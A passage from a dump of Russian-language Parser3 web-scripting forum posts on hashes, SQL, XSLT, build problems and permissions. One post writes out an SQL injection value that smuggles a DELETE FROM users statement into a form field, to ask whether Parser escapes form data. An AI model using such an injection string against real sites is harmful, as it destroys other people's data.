- Тот же результат,или так\
[code]\
$text[]\
^txt.menu{\
    $text[$text<dd>&nbsp^;&nbsp^;$txt.piece]\
}\
и потом уже\
\
$text\
[/code]\
Но все один и тот же результат,\
как же осуществить этот механизм,\
или причина совсем в другом..\
\
\
911"
"33588","DELETE FROM users1 WHERE email = '$form:email'\
?email=1'; DELETE FROM users WHERE '1\
DELETE FROM users1 WHERE email = '1'; DELETE FROM users WHERE '1'\
\
Или taint все-таки происходит, но его нельзя подсмотреть не из sql-драйвера?"
"33589","загружаю промежуточную SQL таблицу, потом делаю ^memory:compact и у меня занято памяти  -28 Kb :)\
это ошибка или супер круто?"
"33590","[b]Вопрос к разработчикам.[/b]\
Существует ли функции обработки сгенерированых html-лов?\
\
Задача в том, чтобы уже в готовом файле убрать все символы табуляции и перевода на новую строку."
"33591","http://www.parser.ru/docs/lang/?mainclass.htm\
А дальше - либо match, либо replace"
"33594","Я не нашел в справочнике про ^postprocess[]\
Подскажите где?"
"33595","Только вставлять в код вызов \"^postprocess[]\" не нужно - если метод определен, то Парсер вызовет его самостоятельно."
"33597","а можно сделать так, чтобы в числах более 5 знаков автоматически «дополнялись» пробелы, но значение [b]оставалось[/b] числом?\
\
[i]Например:[/i]\
500 000, а не 500000"
"33599","1. сделать \
[code]^table::create{ставка  стоимость\
#стоимость=стоимость, начиная с которой действует ставка\
[/code]\
и искать тут parser'ом:\
[code]\
#не используйте 999, используйте >=\
^if(^табличка.locate($табличка.стоимость>=$стоимость_имущества)){\
  $табличка.ставка << ваш ответ\
}{\
  не найдена\
}\
[/code]\
\
3. для ленивых писать парсерный код:\
операция выполняется нечасто=можно в базе сделать табличку (см. выше), и сделать по ней sql запрос."
"33600","и что за точки с запятой? (parser умеет только один запрос за раз)"
"33601","в .chm файле есть вкладка index,\
в .pdf файле в конце индекс с номерами страниц\
"
"33606","Как здесь его правильно сформулировать...\
Может, так: происходит ли соответствующее taint-преобразование автоматически над данными, попадающими из форм в sql-запрос?"
"33608","http://www.parser.ru/docs/lang/hashadd.htm\
\
...Новое содержание хеша $man:\
[code]\
$man[\
   $.name[Маша]\
   $.age[20]\
   $.sex[m]\
   $.weight[50] [color=\"#999999\"]<-- не хватает этой строчки[/color]\
[/code]\
\
и, собственно, проблема – мне не нужна эта строчка, необходим результат ровно такой какой он сейчас в документации.\
\
Не подскажете, как реализовать?"
"33609","есть старый каталог товаров (хеш таблиц), и новый каталог товаров в том же формате, в нём некоторые товары исчезли, некоторые добавились. Хотелось-бы описание товаров в новом каталоге (значения ключей, т.е. таблицы) по возможности заменить соответствующими описаниями из старого.\
\
Хеш.add в \"старом варианте\" вполне себе подходит.\
Хеш таблиц - это вариант реализации, не принципиально."
"33610","[code]\
$result[^oldHash.union[$newHash]]\
^oldHash.sub[$newHash]\
^result.sub[$oldHash]\
[/code]\
\
P.S. подозрительно схожий функционал получается у ^хеш.add и ^хеш.union..."
"33611","^a.add[$b]\
если в хеше $a и в хеше $b есть элементы с одинаковым ключем, то после выполнения операции в результате будет значение которое было в хеше $a.\
\
^a.union[$b]\
если в хеше $a и в хеше $b есть элементы с одинаковым ключем, то после выполнения операции в результате будет значение которое было в хеше $b.\
\
для решения задачи я воспользовался бы немного иным алгоритмом (надеюсь что не ошибся):\
[code]\
# в $common будут те элементы хеша из oldHash которые есть в $newHash\
$commonHash[^oldHash.intersection[$newHash]]\
# а теперь перезапишем в $newHash новые записи старыми\
^newHash.add[$commonHash]\
\
# P.S. это можно записать в одну строку, упразднив $commonHash :)\
[/code]\
\
P.S. в документации ошибка, формат .add не менялся :)"
"33612","и читабельнее, и работает быстрее, и памяти отъедает меньше на прядок. Как говорится, чем самому что-то придумывать, лучше сперва у Миши спросить :)  Спасибо!"
"33613","1) Почему бы, если в результате ^hash::sql запроса, дающего одну строку, делать не hash of hash, а создавать одноуровневый hash? \
Было бы красиво:\
[code]\
$Ivan[^hash::sql{SELECT ^user.fieldlist[default] FROM users WHERE id = 1}]\
$Ivan.email\
[/code]\
2) Не помешал бы метод ^строка.hash[разделитель]. Кстати, он был в неявном виде в парсере-2:)\
Пример:\
[code]\
$permission[^string:sql{SELECT permissions FROM...}]\
$ph[^permission.hash[,]]\
^if(^userpermission.intersects[$ph]){можно}{нельзя}\
[/code]\
\
Конечно, я написал себе похожие методы, но они требуют 1-2 операции копирования, что, имхо, не есть хорошо."
"33614","потому, что есть \
[code]\
$Ivan[^table::sql{ваш запрос}]\
$Ivan.email\
[/code]\
\
для описанного вами совершенно подходит. (я уже молчу, почему плохо то, что предлагаете)"
"33615","потому, что \
1. в базе данных не принято хранить в одном столбце множество значенией, иначе, как битовыми полями.\
2. с правами принято работать битовыми полями, это куда эффективнее.\
3. в mysql для битовых полей удобная возможность работы с именоваными битами: \
[quote]\
Например, столбец, определенный как SET(\"один\", \"два\") NOT NULL может принимать такие значения: \
\
\"\"\
\"один\"\
\"два\"\
\"один,два\"\
\
Множество SET может иметь максимум 64 различных элемента. \
[/quote]\
http://dev.mysql.com/doc/mysql/ru/SET.html"
"33616","Да, пожалуй... Большая неоднозначность появляется.\
Просто иногда туда хочется что-то записать. Но это уже другой разговор.\
\
А что скажете по поводу ^строка.hash?"
"33617","именно для прав доступа они и не подходят, поскольку невозможно, к примеру, знать, какие права пользователь поставит на раздел. И тогда придется каждый раз делать UPDATE sections CHANGE permissions SET('1'...)"
"33618","http://www.parser.ru/docs/lang/tablehash.htm\
http://www.parser.ru/docs/lang/hashfieldsfield.htm"
"33619","1. у меня SQL запроов, достающих одну строку раз два и обчелся. ^hash:Жsql{} больше затачивался под такое:\
[code]\
$users[^hash::sql{SELECT user_id, ^user.fieldlist[default] FROM users WHERE ...}]\
<a href=\"mailto:$users.[$user_id].email\">$users.[$user_id].name</a>\
[/code]\
к тому-же если есть операция копирования (и это плохо) которая копирует одну строку - не страшно (более того, копирования строк не происходит, происходит лишь создание указателей, указывающих ну уже расположенные в памяти строки с текстом от sql запроса)\
\
2. \
[code]\
$ph[^permission.hash[,]]\
[/code]\
->\
[code]\
$pt[^permission.split[,][vl]]\
$ph[^pt.hash[piece;piece]]\
[/code]\
\
по моему добавление той-же самой операции которая будет возвращать хеш, а не table - избыточно. (недостаток про копирования можно см. комментарий выше)"
"33620","список прав обычно фиксирован, поэтому и предлагал set: с ним удобно просматривать права внешними средствами.\
\
если это не ваш случай, и список прав меняется, тем более есть повод сложить их в отдельную табличку.\
\
только хранить там не id->название,\
а битовая_маска->название.\
\
битовые операции существенно быстрее join'ов: для очередой операции собираете маску битов, и манипулируете ей.\
\
поле в базе при этом следует объявить просто int[если хватит 32прав] или bigint[если надо 64]."
"33623","1)Получается, ^таблица.fields не копирует, пока не попытаемся изменить полученный хэш?\
\
2)^строка.split - точно копирует.\
Хотя это уже не столь важно, ожидаемые права можно сразу задавать хэшем, хоть это не так красиво\
^allowed[pictures files]\
^allowed[$.pictures(1) $.files(1)]"
"33624","Как загрузить txt файл в том же (index.html), но другой txt файл. К примеру, через гиперссылку, сначало в index.html загружаеться 1.txt потом нажав по ссылке в этом же index.html загружаеться 2.txt.\
Если возник вопрос: Зачем?\
На сайте много текстовых файлов и править их нет возможности."
"33625","у меня так не работает, а работает так:\
[quote]\
ERROR:  current transaction is aborted, queries ignored until end of transaction block\
[/quote]\
[code]\
запросы\
^try{\
	^void:sql{\
		UPDATE\
			...\
		SET\
			...\
		WHERE\
			...\
	}\
}{\
	$exception.handled(1)\
}\
запросы\
[/code]"
"33626","[code]\
^connect[oracle://xxxx:yyyy@oracle]{\
	^string:sql{select 2*2 from dual}<br>\
	^try{\
		^string:sql{select 2*2x from dual}\
	}{\
		$exception.handled(1)\
		exception($exception.comment) handled<br>\
	}\
	^string:sql{select 2*2 from dual}<br>\
}\
[/code]\
печатает\
[code]\
4\
exception(ORA-01722: invalid number (execute, -1)) handled\
4\
[/code]"
"33627","[code]\
^connect[pgsql://...]{\
	^string:sql{select 2*2 from object}<br>\
	^try{\
		^string:sql{select 2*2x from object}\
	}{\
		$exception.handled(1)\
		exception($exception.comment) handled<br>\
	}\
	^string:sql{select 2*2 from task}<br>\
}\
[/code]\
\
result must not contain more then one row\
\
это раз.\
\
Делаем нормальный синтаксис:\
[code]\
^connect[pgsql://...]{\
	^string:sql{select path from object where object_id = 0}<br>\
	^try{\
		^string:sql{select 2*2x from object}\
	}{\
		$exception.handled(1)\
		exception($exception.comment) handled<br>\
	}\
	^string:sql{select path from object where object_id = 1}<br>\
}\
[/code]\
имеем:\
[quote]\
select path from object where object_id = 1\
\
ERROR:  current transaction is aborted, queries ignored until end of transaction block\
[/quote]\
работает только так:\
[code]\
^connect[pgsql://...]{\
	^string:sql{select path from object where object_id = 0}<br>\
	^try{\
		^string:sql{select 2*2x from object}\
	}{\
		$exception.handled(1)\
		exception($exception.comment) handled<br>\
	}<br>\
}\
[/code]\
выводит:\
[quote]\
main\
exception(ERROR: parser: parse error at or near \"x\" at character 11 ) handled\
[/quote]\
Т.е. работает когда после ошибочного запроса нет более никаких SQL запросов, тогда да, все ОК. Собственно поэтому и просил управляемые транзакции."
"33628","мы не пользуемся = специально делать что-то не будем.\
разумные идеи в компании \"patch -u\" приветствуются."
"33629","Здравствуйте кого не увидел.\
Вопрос в принципе такой.\
Есть что-то вроде [color=\"#ff0000\"]xml-базы [/color]для картинок:\
\
[color=\"#49AD42\"]\
<root>\
 <catalog name=\"Цветы\"  >\
	<img id=\"HPIM1100\">\
		<nick>repeator</nick>\
            <link>/pic/</link>\
	</img>\
	<img id=\"HPIM1101\">\
	.....\
	</img>\
  </catalog>\
 <catalog name=\"Животные\"  >\
	<img id=\"HPIM1000\">\
		<nick>repeator</nick>\
            <link>/pic/</link>\
	</img>\
	<img id=\"HPIM1001\">\
	.....\
	</img>\
  </catalog>\
[/color]\
С помощью XSLT шаблона раскладываю и вывожу все по полочкам\
Получается обычные превью с [color=\"#ff0000\"]линками[/color] на просмотр большого изображения.\
\
1. Так вот ни как не могу понять как правильно сделать так чтобы при клике [color=\"#ff0000\"]линк-превью[/color] обработались (другой xslt) только те теги в [color=\"#ff0000\"]xml-базе [/color], котрым передается нужный id.\
\
2.Как правильно построить такой запрос в XML  Может нужно действовать по другому???.\
3.Была у меня идея кагда получен нужный ID генерить новый xml с нужными мне тегами и потом его обрабатывать XSLT. \
Но мне кажется это слишком.\
\
Спасибо за заботу"
"33630","Кто бы сомневался :)\
\
С собрал драйвер без этих транзакций по-умолчанию, - поведение стало таким же как у оракля.\
\
ПАФ где смотреть как драйвер разбирает строку подключения и берет оттуда нужные параметры? Я сам добавлю нужный ключик, включающий/выключающий транзакции по-умолчанию."
"33632","Запрос в этом случае будет что-то типа:\
\
/root/catalog/img[@id='$id']\
\
Ставить его можете хоть в XSL:\
<xsl:for-each select=\"/root/catalog/img[@id='$id']\">\
\
Хоть в функции Parser класса xnode:\
$images[^xmldata.select[/root/catalog/img[@id='$id']]]"
"33634","Ну и там уже смотрите и загружаете:\
\
[code]\
^if(def $form:n){\
	^if(-f ${form:n}.txt){\
		^rem{ загружаете файл }\
	}\
}\
[/code]"
"33635","Можно итак, только когда я такую конструкцию начал использовать\
Не получилось добраться, до атрибутов <catalog name=\"цветы\">\
И на этом запнулся. \
Прямой  ^node.selectString[string(/root/catalog/@name)]\
Всегда выводит \"Цветы\". А если эти IMG id в <catalog name=\"животные\">???\
\
Тут мне в голову пришло только одно сделать два цикла, один бегает по <catalog> а другой внутри него по <img>. Но че то тоже пока не выходит."
"33636","Лучше завести табличку - номер = имя сопоставленного файла"
"33638","загрузить auto.p.txt.\
Какой кошмар !!! :)"
"33639","http://kcp.codepoets.ca/forum/viewtopic.php?t=6479"
"33640","Ну это смотря как его грузить, если автоматом дописывать к введенной строке еще и «.txt»…\
\
А auto.p — тест на «правильность» .htaccess-а 8)"
"33641","Все разобрался Всем спасибо!!!"
"33644","Огромная просьба объясните что это значит:\
\
[quot]Кроме того подразумевается, что в $MAIN создан объект pSQL одного из sql-ных классов и сам код исполняется внутри метода server этого объекта.[/quot]\
\
В коде этого примера вроде разобрался, классы подключил но получаю ошибку:\
\
[code]\
usage failed - no $MAIN:CLASS_PATH were specified\
sql.p\
()\
[/code]"
"33646","http://www.parser.ru/docs/lang/?opuse.htm - здесь ничего ценного нет\
\
Я сделал use как обычно mysql.p и sql.p в корне так что причина возникновения ошибки мне абсолютно не понятна."
"33650","У вас [b]sql.p[/b] и [b]mysql.p[/b] — где лежат? Наверняка в [b]/classes/[/b], ведь так? Тогда попробуйте так:\
\
[code]\
@USE[]\
/classes/mysql.p\
[/code]"
"33651","[quot]А auto.p — тест на «правильность» .htaccess-а 8)[/quot]\
Попробуйте после этого загрузить запрещенный в .htaccess тип файла. через ^file::load[] ."
"33652","Здравствуйте уважаемые!\
Говорю сразу - мне непонятно как организовать. Пример такой: некая процедура заказа\\регистрации(или галерея) требует скажем 50 страниц. На каждой кнопочка \"Дальше\". Почитав про Парсер понял-таки что делать  эти 50 страниц некошерно. Кажется надо делать так:  на странице на кнопочке \"Дальше\" вешается ссылка с вызовом этой самой страницы только с какими-то параметрами. Как сделать чтоб страничка увидела что ее вызывают повторно и откуда ее зовут? (request:uri ?)"
"33653","Не совсем понятно чего Вы хотите :).\
Опишите подробнее задачу."
"33654","внутри страницы будет доступно $form:page со значением 3 и $form:do со значением gallery"
"33655","прямо по учебнику делал. На локальном компьбтере всё работает. На хостинге почему-то при использовании [quot]@navigation[]\
$sections[^table::load[/sections.cfg]][/quot]не работает и выдаёт 	[quot]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, root@хостер.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/quot]Если-же убрать слэш перед sections.cfg или добавить перед слэшем точку то первую страницу показывает, но при переходе по ссылкам  всё тот-же Unhandled Exception и в логах Парсера пишется, что sections.cfg ищется в папке, ну например, price - если ссылка типа //сайт/price/\
Подскажите, где ошибка? Да...операционка хоста FreeBSD"
"33656","ВАХ шайтан!\
Все понял. Нутром чувствовал а сказать не мог - как собака :)"
"33657","[code]\
$block{^content[]}\
#В другом месте вызываем\
^if(def $block){$block}{Ничего нет}\
[/code]\
^content[] выполняется дважды\
[code]\
^if($block is junction || def $block){$block}{Ничего нет}\
[/code]\
В этом случае ^content[] выполняется трижды!\
Ничего не понимаю. Во втором случае, согласно мануалу, если первое условие истинно, второе не проверяется. А тут, видимо, проверяются оба условия путем выполнением кода в переменной... Это нормально?"
"33659","[code]\
$block{=^i.inc(1)=}\
\
^if($block is \"junction\"){y}{n}\
[/code]\
=>\
n\
\
[code]\
@t[a]\
^if($a is \"junction\"){y}{n}\
=$a=\
\
@main[]\
^t{^eval(2+2)}\
[/code]\
=>\
n =4=\
\
при этом при $a is \"junction\" $a выполняется...\
\
P.S. parser 3.1.3, win\
"
"33661","всё лежит в корне и всё подключается но не работает."
"33662","Есть база данных.\
В ней куча таблиц, которые вставляются туда из контент-менеджмента (таблицы с фотогаллереями), возможно ли создать список этих таблиц.\
Создавать отдельную таблицу с указанием имён всех остальных на мой взгляд нецелесообразно. \
Проще говоря выбрать не одну таблицу, а все таблицы внутри одной базы данных.\
Заранее спасибо."
"33663","show tables ?"
"33664","Здравствуйте,\
\
миллион лет не занимался всеми этими сборками, но имеется древняя система (см.ниже), установочный диск утерян. Машина сугубо отладочная.\
\
Технические подробности ниже, сейчас собственно вопросы:\
- в чём может быть причина?\
- можно ли прикрутить Redhat-овский RPM, и не париться?\
- есть ли deb для Debian Woody или Sarge? или надо самому собирать?\
\
С уважением,\
\
Владимир\
\
\
\
=====================\
\
Процесс сборки вылетает на этапе:\
make[3]: Вход в каталог `/home/birdy/parser3project/parser3/src/targets/cgi'\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a .......\
\
Ругается следующим образом:\
parser3.o: In function `real_parser_handler(char const*, char const*, bool)':\
/home/birdy/parser3project/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__cxa_allocate_exception'\
/home/birdy/parser3project/parser3/src/targets/cgi/parser3.C:310: undefined reference to `__cxa_throw'\
/home/birdy/parser3project/parser3/src/targets/cgi/parser3.C:310: undefined reference to `_Unwind_Resume'\
\
ну и так далее...\
\
Конфигурировалось так:\
./configure --prefix=$HOME/parser3install --with-static-xml=$HOME/gnome --with-static-gc=$HOME/gc/lib --with-glib-config=$HOME/gnome/bin/glib-config --with-static-mailreceive=$HOME/gnome\
\
\
Соответственно, предварительно собраны и установлены $HOME/gnome:\
libxml2-2.6.14.tar.gz\
libxslt-1.1.11.tar.gz\
glib-1.2.10.tar.gz\
gdome2-0.7.4.tar.gz\
gmime-1.0.8.tar.gz\
\
в $HOME/gc:\
gc6.3.tar.gz\
\
Система:\
2.4.18-alt6master-up #1 Tue Apr 16 14:50:56 MSD 2002 i686\
\
gcc -v :\
Reading specs from /usr/lib/gcc-lib/i586-alt-linux/2.96/specs\
gcc version 2.96 20000731 (ALT Linux, build 2.96-ipl15mdk)\
\
libtool --version :\
ltmain.sh (GNU libtool) 1.4 (1.920 2001/04/24 23:26:18)"
"33666","в коде странице не используйте числовые значения напрямую из формы типа $form:id хотя там и должна быть всегда цифра... используйте результат преобразования к числу типа ^form.id.int(0) - тогда там ТОЧНО будет число или 0, а не какие нибудь хакерские поползновения..."
"33667","С gc6.3 может не работать, - у меня заработало только с рекомендуемым gc6.1 с 6.2 не стало, с 6.3 даже не пробовал."
"33668","это простое правило просто и изящно реализовано в коде.\
\
теоретически возможно сделать исключение для is, однако это непоследовательно и внутренне некрасиво. а значит, неправильно.\
\
«самолёт некрасивый — летать не будет» (c) туполев (приблизительно так).\
\
чтобы junction не работал несколько раз, надо его вычислить и положить в переменную, в дальнейшем пользоваться уже ею."
"33669","крайне полезны для вашей задачи (как её себе представляю).\
\
злоупотреблять отсутствием в языке типов — не стоит.\
\
если есть желание, опишите вкратце задачу, глядишь, вместе придумаем простое и изящное решение?"
"33670","под кирпич «…» попало самое интересное :)\
видите ругается про \"…throw\"? это значит, ваша c++ библиотека плохо подкомпоновалась. \
для подобных случаев есть такой ключ configure:\
\
INSTALL:\
[quote]\
  By default libstdc++ is linked statically, you can re-enable dynamic libstdc++ linkage by specifying\
  --with-dynamic-stdcpp\
  option to configure.  \
[/quote]"
"33671","ведь они зависят от локальных переменных текущего метода, и использовать их нужно [b]до[/b] того, как выйти из блока.\
\
поэтому нет большого смысла их хранить хоть какое-то время.\
архитектурно задумано, что {junction-code} передался в функцию, и там выполнился под пользовательским условием или определяемое пользователем количество раз. Примеры тут — http://www.parser.ru/docs/lang/junctionclass.htm\
\
какие-то длительные манипуляции с junction не задумывались, и не представляются необходимыми.\
\
если есть соображения, когда что-то можно было бы сделать изящно через дискутируемый «is junction» в применении к junction-code и junction-expr ([b]не к junction-method[/b]), всегда готов обсудить."
"33672","Как загрузить txt файл в том же index.html c другим названием, напр., есть линка [code]<a href=2.txt>2</a>[/code] и надо чтоб загрузилась html страница в которой есть auto.p и 2.txt, а  название ей 2.html и другие ссылки так же?"
"33674","В моем случае не страшно и сразу положить в строковую переменную)\
Потом выполнять второй раз, если надо.\
Но.\
Если is junction _всегда_ приводит к выполнению, то получается\
^if($junc is junction) - то же, что и \
^if(def ^process{^junc[]}) в случае, если ^junct[]дает результат.\
Я мало программировал, может меня только из-за этого коробит?\
\
Или такой пример:\
есть метод, который может быть заменен другим в зависимости от пользовательского контекста, причем методы эти - не произвольные и вручную корректироваться не должны (класс collection для работы с БД, методы определяют строение html-формы). Набор методов зависит от конкретного сайта. Делать process{@ - некрасиво, поскольку требует как минимум \
@create_method[name;context]\
и таблицы соответствий.\
Если же делать проверку типа, то выполнятся все имеющиеся методы"
"33675","тут мой админ по этому же поводу загонялся, но мы уже давно ушли с мастера 2.0\
поищи на форуме, весь тред с ПАФом был тут."
"33678","Бьюсь, но безрезультатно,\
никак не получается у меня вывод текста\
как на данном сайте –http://zhurnal.lib.ru/s/stepenko_a_o/the_goal.shtml\
 Очень необходимо таким образом загружать текст...\
\
Заранее спасибо"
"33679","это говориться в самом первом ответе вам.\
\
вам так-же посоветовали посмотреть в source того файла, что вы приводите в качестве примера и сделать аналогично.\
\
писать html код с четырьмя тэгами для вас, я надеюсь, тут никто не будет."
"33680","Посоветуйте пожалуйста, как бы поизящней функцию изобразить для работы с правами вида:\
1 - один\
2 - два\
4 - три\
8 - четыре\
16 - и т.д..\
\
Как например из числа 13 просто и ясно узнать, что это 1+4+8? \
А то всё какая-то топорщина получается.."
"33681","не надо узнавать что:\
13 = 1 + 4 + 8\
\
какая разница, есть там 4 или 8?\
предположим. что у вас эти константы определены:\
[code]\
$rights[\
  $.read(1)\
  $.insert(2)\
  $.update(4)\
]\
[/code]\
\
предположим, что у вас в переменной $user_right лежит какое-то число - права, которые имеет пользователь и вам надо проверить может-ли пользователь читать, или его надо послать на... 404?\
\
код получается простой:\
[code]\
^if($user_right & $rights.read){\
  $rem{ все ок, можно показывать}\
}{\
  ^rem{ да иди ты на... 404... }\
  ^location[/404/]\
}\
[/code]\
\
аналогично для других прав. есссно это лучше оформить в виде отдельных методов.\
\
P.S. в том числе как работать с битами можно посмотреть в классе авторизации в примерах."
"33682","Идея понятна. Спасибо."
"33683","Использую эту функцию для присвоения id элементу:\
[code]\
<xsl:template match=\"text|epigraph\">\
	<xsl:param name=\"id\" select=\"generate-id()\"/>\
      ...\
             <p id=\"{$id}\">\
                     <xsl:apply-templates/>\
             </p>\
      ...\
</xsl:template>\
[/code]\
\
В готовой странице появляется id вида [b]id225779[/b]\
\
При передаче его в функцию js на странице в качестве аргумента Опера преобразует содержимое переменной в следующее: [object%20HTMLParagraphElement]. IE выдает ошибку \"нет определения id225779\"\
\
Понятно, ошибка в том, что [b]id225779[/b] передаётся не как строка, но что такое творит Опера?"
"33684","Спасибо огромное всем откликнувшимся.\
\
Я сознательно хотел статически, чтобы в другом отладочном месте не пересобирать.\
\
Попробую подлинковать динамически, результат сообщу."
"33685","Замена gc на 6.1 ничего не даёт.\
\
Кстати, gdome2 версии 0.8.1 у меня не собралась -- пришлось взять 0.7.4\
\
Я начинаю думать, что libc мои не подружатся с парсером -- не получается собрать ни с динамической, ни со статической линковкой. Сейчас выложу логи сборки куда-нибудь, не постить же их сюда..."
"33686","...выложил на http://parser4alt2.narod.ru/\
Если будет время-желание, взгляните. Похоже, дело в самой сишной библиотеке..."
"33688","Пытаюсь создать меню, в котором при выборе раздела выполнялась бы определенная описанная в файле.p функция.\
[i]Примерно что я хочу получить[/i]:\
построить меню, состоящее из разделов кино, музыка, программы. При выборе раздела вызывался бы список из БД соответственно фильмов, музыки, программ.\
[i]Что я уже нагородил =):[/i]\
меню строится из файла-таблицы section.cfg, в таблице имеется столбец \"name\" в котором соответственно значения video, music, distr. Написал в файле.p функции выдающие из БД список фильмов, музыки, программ, назвал их @video, @music, @distr. \
По моему замуслу (я не уверен, что он верен) я хотел прицепить к пунктам своего меню /folder/?x=section.name\
вот только я не знаю как, и возможно ли это таким вот образом, описать переменную \"х\",чтоб, к примеру, ей присваивалось из таблицы значение \"video\", выполнялась вследствие функция \"@video\" и в итоге выводился список фильмов... \
--------\
Как мог старался понятней изложить проблему, думаю у меня это несовсем получилось.. Помогите пожалуйста её решить. Заранее благодарен"
"33689","Можно\
[code]\
@insert_function_by_name[function_name]\
^if($$function_name is junction){\
	$tmp[$$function_name]\
	^tmp[]\
}\
[/code]\
\
Вызываем это дело так: ^insert_function_by_name[$form:x]"
"33690","Чем отличаются ключи UNIQUE, PRIMARY, INDEX? В доке по этой БД вычитол только что ключи искать помогают, а различия так и не нашёл.."
"33691","Справку по mySQL читать надо было: http://dev.mysql.com/doc/mysql/ru/index.html\
А лучше купите книгу Поля Дюбуа \"MySQL\""
"33692","спасибо большое, Jk!"
"33694","Здравствуйте.\
Устанавливаю denver + parser (файл Base_Parser_2004-10-02_a1.3.31_p4.3.6_m3.23.53_pma2.5.6_p311.exe). Запускаю тестовую страницу - все нормально, тест парсера тоже нормально. Запускаю из командной строки команду тестирования Apache и вижу сообщение: \
\"Syntax error on line 89 of c:/webservers/usr/local/apache/conf/httpd.conf:\
ServerRoot must be a valid directory\
Note the errors or messages above, and press the <ESC> key to exit.  15...\".\
В этой 89 строке у меня прописано: serverRoot \"/usr/local/apache\". Устанавливал комплект по умолчанию в папку WebServers. \
Щелчок на иконке пера в трее показывает, что работает Apache и PHP? а Parser, значит, отдыхает...\
В чем дело? Подскажите!\
И как его подключить? Я делал все как указано и в FAQ и в форумах... Но ничего не получается. Перепробовал все варианты. Без толку.\
\
Спасибо за ответы, если они будут."
"33696","ожидал увидеть её на http://www.parser.ru/download/win32/ , но там только Денвер..."
"33698","Я правильно понимаю, что если использовать механизм поиска по битовым маскам, то двоичная разрядность маски (и права) должна быть не меньше количества различных _независимых_ прав доступа в системе?\
001 - право1\
010 - право2 (2)\
100 - право3 (4)"
"33699","На рабочем столе три иконки висят. Посмотрел в свойствах иконки Start и увидел такой путь: C:\\WebServers\\etc\\Run.exe. Значит надо с виртуального запускать? попробую."
"33700","Поменял пути на диск Z: > Теперь при проверке синтаксиса вылезает: \
\"Syntax error on line 274 of z:/usr/local/apache/conf/httpd.conf:\
Cannot load /usr/local/php/sapi/php4apache.dll into server: (126) =х эрщфхэ єърч\
рээvщ ьюфєы№:...\".\
В этой строке прописано: LoadModule php4_module \"/usr/local/php/sapi/php4apache.dll\""
"33702","я и 10 использовать не могу, фантазии не хватает :)"
"33703","Подождите, а зачем его запускать с виртуального, если в инструкции указано, что комплекс надо запускать командой с:\\webservers\\etc\\run.exe?\
Вот я и запускаю с локального диска.\
Бьюсь уже четвертый день и никак не могу прикрутить Parser.\
Прошу помочь!"
"33705","если хотите чтобы побыстрее заработал Парсер - сходите сюда http://www.parser.ru/forum/?id=31821"
"33706","Подскажите пожалуйста как следует загрузить таблицу, чтобы выполнялась без ошибки \"outside of 'connect' operator\"\
[code]$scroller[^scroller::create[\
		$.table_count[^int:sql{SELECT COUNT(*) FROM your_table}[$.default{0}]]\
]\
		]\
	][\\code]"
"33707","Бьюсь уже какой день кряду...\
А ссылка на тот \"швейцарский ножичек\" не работает..."
"33708","32 хватило бы с запасом, если б не было прав на редактирование раздела. А в этом случае мелочиться нельзя. Если есть несколько сайтов, на которых присутствует более 10 разделов со своими отдельными редакторами, то будет и больше. Это уже double на описания прав. А если еще учесть, что на каждом сайте может быть разный набор прав...\
И еще необходима функция удаления неиспользуемых прав - autoincrement не годится."
"33709","В продолжение темы:\
http://www.parser.ru/forum/?id=33708"
"33711","Мне нужно проверять находиться ли документ в папке, но с условием, чтобы он находился непосредственно в заданной папке, т.е. чтобы не проходила проверка на совпадение с папкой-прародителем, только с родителем.\
\
Возможно ли осуществить такую проверку без извращений с $request:uri?"
"33712","Бьюсь с проблемой, необходимо выводить ссылку вида javascript:emoticon('[b]Текст[/b]'), так вот как не вывожу, [] заменяются на %5B%5D.\
Как быть?.."
"33714","Я переписываю SMTP-шник на VB. Сейчас это довольно кривой Perl-скрипт, который преобразован в exe-файл в полмега размером. Работы осталось довольно мало, так - украшательства (почту эмулятор принимать уже умеет). Ещё я не разобрался, как в Inno Setup делать веб-установку (чтобы сделать php, python и perl докачиваемыми в процессе установки с сайта, если пользователю они нужны). Ещё бы неплохо было присобачить простенький шаблонный сайт для примера...\
\
Как всё это сделаю - пришлю Мише на выладывание.\
\
По ссылке в Subj. - release candidate."
"33715","В форуме таких ситуаций разобрано не было:\
\
есть xml-дерево (меню):\
<menu>\
    <item name=\"Item1\" url=\"xxx\">\
    <item name=\"Item2\" url=\"xxxx\">\
    <sub>\
          <item name=\"Item2.1 url=\"xxxxxx\">\
          <item name=\"Item2.2 url=\"xxx\">\
    </sub>\
    <item name=\"Item3\" url=\"xxxxxxx\">\
</menu>\
\
Такие нескладушки:\
в корень (menu/) получается добавить эл-т или ноду, например эл-т item или ноду sub с элементами item - с этим нет проблем, все\
отлично работает.\
Но если я например хочу вставить ноду sub в существующую ноду,\
например сделать так:\
   ..............\
  <item name=\"Item2.2 url=\"xxx\">\
  <sub>\
      <item name=\"Item2.2.1 url=\"xxx\">\
      <item name=\"Item2.2.2 url=\"xxx\">\
  </sub>\
   ...............\
начинаются траблы (не могу разобраться с этим):\
как я понимаю нужно XPath-запросом выбрать родителя элемента\
с name=\"Item2.2\", а потом этому родителю сделать appendChild.\
Выбрать родителя не получается, делаю так:\
[code]\
   $sub_element[^document.selectSingle[ancestor::item[@name=\"Item2.2\"]]]\
[/code]\
\
В результате получаю string method not found (из-за неправильного запроса)\
Вообще пробовал по всякому - не получилось.\
Не подскажите мою ошибку ???"
"33716","Приветствую, уважаемые! :)))\
Не могу решить маленькую проблему - прошу Вашей помощи! :)))\
На сайте настраиваю авторизацию на базе класса auth.p - все работает отлично, но вдруг напоролся на то, что при передаче параметров через QUERY_STRING пропадает доступ. То есть при обращении к файлу /razdel/podrazdel/name.html - все работает отлично (права доступа правильно определяются для нужных пользователей). А когда добавляю к его адресу параметры ?action=view (то есть путь получается /razdel/podrazdel/name.html?action=view) - доступа к нему уже нет. В чем загвоздка и где можно указать классу авторизации, что по умолчанию в таих случаях права нужно наследовать от родительского объекта?\
Заранее благодарен! :)))\
Удачи! :)))"
"33717","Но есть подозрение, что данной проблемы вообще не должно быть. Соответственно хочется разобраться не просто \"лишь бы заработало\", а так, чтобы быть уверенным в отсутствии недоделок. :)))"
"33718","Про xsl трансформацию говорю.\
Если в шаблоне генеряться ссылки с [] - происходят замены на коды."
"33719","Может это поможет: http://www.parser.ru/forum/?id=32656"
"33720","Есть xml типа\
[code][color=\"#54AB0D\"]\
<Root>\
